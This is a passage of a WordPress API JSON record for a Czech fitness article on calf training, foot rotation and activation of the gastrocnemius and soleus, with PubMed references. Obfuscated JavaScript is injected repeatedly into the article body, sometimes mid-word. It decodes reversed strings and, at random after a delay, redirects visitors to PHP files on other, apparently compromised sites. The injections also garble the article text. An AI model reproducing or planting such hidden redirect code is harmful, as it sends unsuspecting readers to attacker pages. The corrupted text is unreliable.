delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to svalu stejn\u011b;<\/li>\n\n\n\n<li>cviky na l\u00fdtka prov\u00e1d\u011bn\u00e9 s&nbsp;pokr\u010den\u00fdmi koleny, aktivuj\u00ed p\u0159edev\u0161\u00edm soleus;<\/li>\n\n\n\n<li>cviky na l\u00fdtka prov\u00e1d\u011bn\u00e9 s&nbsp;nata\u017een\u00fdma nohama zajist\u00ed aktivaci obou l\u00fdtkov\u00fdch sval\u016f.<\/li>\n<\/ul>\n\n\n\n<p><strong>T\u00edm p\u00e1dem v&nbsp;tr\u00e9ninku\u2026<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>za\u0159azujte cviky prov\u00e1d\u011bn\u00e9 s&nbsp;pokr\u010den\u00fdma i nata\u017een\u00fdma nohama, abyste si zajistili dostate\u010dnou aktivaci cel\u00e9 partie l\u00fdtek;<\/li>\n\n\n\n<li>p\u0159i cvic\u00edch s&nbsp;nata\u017een\u00fdma nohama m\u016f\u017eete zm\u011bnou polohy \u0161pi\u010dek (vy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u010den\u00ed ven, v<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u010den\u00ed dovnit\u0159) do jist\u00e9 m\u00edry zajistit v\u00fdrazn\u011bj\u0161\u00ed aktivaci jedn\u00e9, resp. druh\u00e9 hlavy gastrocnemia;<\/li>\n\n\n\n<li>vyt\u00e1\u010den\u00ed \u0161pi\u010dek je mo\u017en\u00e9 prov\u00e1d\u011bt za p\u0159edpokladu, \u017ee nepou\u017e\u00edv\u00e1te p\u0159i dan\u00e9m cviku p\u0159\u00edli\u0161 vysokou z\u00e1t\u011b\u017e. V&nbsp;opa\u010dn\u00e9m p\u0159\u00edpad\u011b hroz\u00ed p\u0159et\u00ed\u017een\u00ed kolenn\u00edho kloubu a poran\u011bn\u00ed pojivov\u00fdch tk\u00e1n\u00ed v&nbsp;okol\u00ed kolen.<\/li>\n<\/ul>\n\n\n\n<p><strong>Zdroje:<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/22190157\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/22190157\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/15890750\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/15890750\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/20581696\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/20581696\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/12173959\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/12173959\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>V&nbsp;sout\u011b\u017ei o svalovou partii, kter\u00e1 nejl\u00e9pe odol\u00e1v\u00e1 budov\u00e1n\u00ed hmoty, by se l\u00fdtka bezpochyby um\u00edstila na medailov\u00fdch pozic\u00edch. Maximalizovat rozvoj t\u00e9to svalov\u00e9 skupiny je pro mnoho z\u00e1vodn\u00edk\u016f c\u00edlem \u010d\u00edslo jedna. A v&nbsp;jejich tr\u00e9ninku pak samoz\u0159ejm\u011b nechyb\u00ed obl\u00edben\u00e9 v\u00fdpony na l\u00fdtka. Obvykle prov\u00e1d\u011bn\u00e9 v&nbsp;cel\u00e9 \u0159ad\u011b variac\u00ed v\u010detn\u011b vyt\u00e1\u010den\u00ed chodidel. Ur\u010dit\u011b u\u017e jste se setkali s&nbsp;n\u00e1zorem, \u017ee poloha chodidla p\u0159i v\u00fdponu zajist\u00ed zv\u00fd\u0161enou aktivaci ur\u010dit\u00e9 partie l\u00fdtkov\u00e9ho svalu. V\u00edte ale, jak to ve skute\u010dnosti funguje? Jste schopni b\u011bhem cvi\u010den\u00ed proc\u00edtit ty spr\u00e1vn\u00e9 oblasti l\u00fdtek? M\u00e1te dostate\u010dn\u00e9 znalosti anatomie na to, abyste mohli tr\u00e9nink vyladit a\u017e do tak drobn\u00fdch detail\u016f? Bezpochyby pro v\u00e1s nebude novinkou, \u017ee l\u00fdtko je tvo\u0159eno dv\u011bma hlavn\u00edmi svaly. T\u00edm prvn\u00edm je gastrocnemius (dvojhlav\u00fd sval l\u00fdtkov\u00fd) \u2013 sval troj\u00faheln\u00edkov\u00e9ho tvaru, dob\u0159e viditeln\u00fd zezadu, kdy\u017e zatnete l\u00fdtko. Up\u00edn\u00e1 se v&nbsp;horn\u00ed \u010d\u00e1sti ke stehenn\u00ed kosti a dole pak Achillovou \u0161lachou ke kosti patn\u00ed. Druh\u00fdm svalem je soleus (\u0161ikm\u00fd sval l\u00fdtkov\u00fd), jeho\u017e horn\u00ed \u00fapon vede od holenn\u00ed kosti dol\u016f ke kosti patn\u00ed. Zat\u00edmco gastrocnemius je mo\u017en\u00e9 aktivovat pohybem v&nbsp;kloubu kolenn\u00edm i v&nbsp;kotn\u00edku, soleus je typick\u00fdm \u201ejednokloubn\u00edm\u201c svalem. Gastrocnemius si m\u016f\u017eeme rozd\u011blit do dvou \u010d\u00e1st\u00ed (hlav) \u2013 na st\u0159edn\u00ed (vnit\u0159n\u00ed partie svalu) a bo\u010dn\u00ed (vn\u011bj\u0161\u00ed partie svalu). U soleu se s&nbsp;\u017e\u00e1dn\u00fdm dal\u0161\u00edm d\u011blen\u00edm obvykle nesetk\u00e1te. Gastrocnemius coby dvojhlav\u00fd sval je t\u00edm p\u00e1dem mo\u017en\u00e9 aktivovat s&nbsp;d\u016frazem na jednu \u010di druhou hlavu a zde opravdu z\u00e1le\u017e\u00ed na poloze kolene a kotn\u00edku. T\u00e9to problematice se v\u011bnovala studie, jej\u00ed\u017e v\u00fdsledky p\u0159inesl \u010dasopis Strength and Conditioning Research. V\u011bdci m\u011b\u0159ili svalovou aktivitu gastrocnemiu p\u0159i proveden\u00ed v\u00fdpon\u016f na l\u00fdtka s&nbsp;chodidly v&nbsp;n\u00e1sleduj\u00edc\u00edch poloh\u00e1ch: vnit\u0159n\u00ed rotace (\u0161pi\u010dky sm\u011b\u0159uj\u00ed k&nbsp;sob\u011b), vn\u011bj\u0161\u00ed rotace (\u0161pi\u010dky sm\u011b\u0159uj\u00ed od sebe) a neutr\u00e1ln\u00ed pozici (chodidla jsou rovnob\u011b\u017en\u011b vedle sebe). Pomoc\u00ed elektromyografick\u00e9ho (EMG) vy\u0161et\u0159en\u00ed byla m\u011b\u0159ena aktivita svalu b\u011bhem s\u00e9rie o 12 opakov\u00e1n\u00edch v&nbsp;dan\u00e9 pozici.&nbsp; A k&nbsp;jak\u00fdm zji\u0161t\u011bn\u00edm v\u011bdci do\u0161li? Bo\u010dn\u00ed hlava gastrocnemia vykazovala vy\u0161\u0161\u00ed aktivitu p\u0159i vnit\u0159n\u00ed rotaci, zat\u00edmco st\u0159edn\u00ed hlava se maxim\u00e1ln\u011b zapojila p\u0159i vn\u011bj\u0161\u00ed rotaci. Neutr\u00e1ln\u00ed pozice chodidel vykazovala shodnou aktivitu obou hlav l\u00fdtkov\u00e9ho svalu. Odborn\u00edci tak v&nbsp;podstat\u011b potvrdili to, v&nbsp;co sportovci doufaj\u00ed ji\u017e \u0159adu desetilet\u00ed \u2013 \u017ee zm\u011bnou polohy chodidel je mo\u017en\u00e9 aktivovat r\u016fzn\u00e9 partie l\u00fdtkov\u00e9ho svalu. Jen by bylo dobr\u00e9 si uv\u011bdomit, \u017ee t\u00edm nedoch\u00e1z\u00ed k&nbsp;naprost\u00e9 izolaci dan\u00e9 \u010d\u00e1sti svalu. Pracuj\u00ed v\u017edy ob\u011b hlavy bez ohledu na polohu chodidel. Nam\u011b\u0159en\u00fd rozd\u00edl v&nbsp;aktivaci byl zhruba 10-15 %. To znamen\u00e1, \u017ee bo\u010dn\u00ed hlava svalu pracuje p\u0159i vnit\u0159n\u00ed rotaci zhruba o 10-15 % v\u00edce ne\u017e hlava st\u0159edn\u00ed. Zat\u00edmco st\u0159edn\u00ed hlava je p\u0159i vn\u011bj\u0161\u00ed rotaci aktivov\u00e1na o 10-15 % v\u00edce ne\u017e hlava bo\u010dn\u00ed. Efekt p\u0159i zm\u011bn\u011b polohy chodidel zde tedy n\u011bjak\u00fd je, ale nejde o typickou izolaci ani o to, \u017ee by jedna hlava p\u0159evzala v\u011bt\u0161inu z\u00e1t\u011b\u017ee.\u00a0 Sportovce ale bude zaj\u00edmat p\u0159edev\u0161\u00edm\u2026 Projev\u00ed se zm\u011bna polohy chodidel v\u00a0lep\u0161\u00edm svalov\u00e9m rozvoji? V\u011bdci se samoz\u0159ejm\u011b zaob\u00edrali i ot\u00e1zkou, jestli v\u00fdrazn\u011bj\u0161\u00ed aktivace dan\u00e9 \u010d\u00e1sti svalu p\u0159ech\u00e1z\u00ed tak\u00e9 do zv\u00fd\u0161en\u00e9 hypertrofie, tzn. do n\u00e1r\u016fstu svalov\u00e9 hmoty v&nbsp;dan\u00e9 oblasti. V&nbsp;tomto smyslu ale nebyly v\u00fdsledky studie dostate\u010dn\u011b pr\u016fkazn\u00e9. V&nbsp;podstat\u011b tedy nezb\u00fdv\u00e1 ne\u017e doufat, \u017ee tomu tak bude. Nav\u00edc, pokud se sna\u017e\u00edte maximalizovat v\u00fdsledky tr\u00e9ninku l\u00fdtek, proto\u017ee jde o va\u0161i probl\u00e9movou svalovou partii, bezpochyby budete vd\u011b\u010dn\u00ed i za drobn\u00e9 pokroky. A co soleus? Trochu to vypad\u00e1, \u017ee jsme na n\u011bj zapomn\u011bli. Ale velikostn\u011b drobn\u011bj\u0161\u00ed soleus nen\u00ed polohou chodidel nijak ovlivn\u011bn. Rozd\u00edly v&nbsp;aktivaci gastrocnemia a soleu tedy vych\u00e1z\u00ed z&nbsp;jin\u00fdch aspekt\u016f. A t\u00edm hlavn\u00edm je poloha kolen. Soleus je sval proch\u00e1zej\u00edc\u00ed pouze p\u0159es jeden kloub (kotn\u00edk), je tedy vysoce aktivn\u00ed p\u0159i cvic\u00edch prov\u00e1d\u011bn\u00fdch s&nbsp;pokr\u010den\u00fdmi koleny. Gastrocnemius je ov\u0161em v&nbsp;t\u00e9to poloze zkr\u00e1cen\u00fd a t\u00edm ztr\u00e1c\u00ed \u010d\u00e1st sv\u00e9 s\u00edly. Jednodu\u0161e \u0159e\u010deno to znamen\u00e1, \u017ee v\u00fdpony vsed\u011b s&nbsp;pokr\u010den\u00fdmi koleny se zam\u011b\u0159uj\u00ed v\u00edce na soleus, zat\u00edmco cviky prov\u00e1d\u011bn\u00e9 ve stoji (v\u00fdpony, osl\u00ed v\u00fdpony atd.) aktivuj\u00ed jak gastrocnemius tak soleus. Jak informace vyu\u017e\u00edt p\u0159i sestavov\u00e1n\u00ed tr\u00e9ninku l\u00fdtek Dozv\u011bd\u011bli jste se, \u017ee\u2026 T\u00edm p\u00e1dem v&nbsp;tr\u00e9ninku\u2026 Zdroje: https:\/\/pubmed.ncbi.nlm.nih.gov\/22190157\/ https:\/\/pubmed.ncbi.nlm.nih.gov\/15890750\/ https:\/\/pubmed.ncbi.nlm.nih.gov\/20581696\/ https:\/\/pubmed.ncbi.nlm.nih.gov\/12173959\/<\/p>\n","protected":false},"author":2,"featured_media":928,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-924","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=924"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/924\/revisions"}],"predecessor-version":[{"id":929,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/924\/revisions\/929"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/928"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}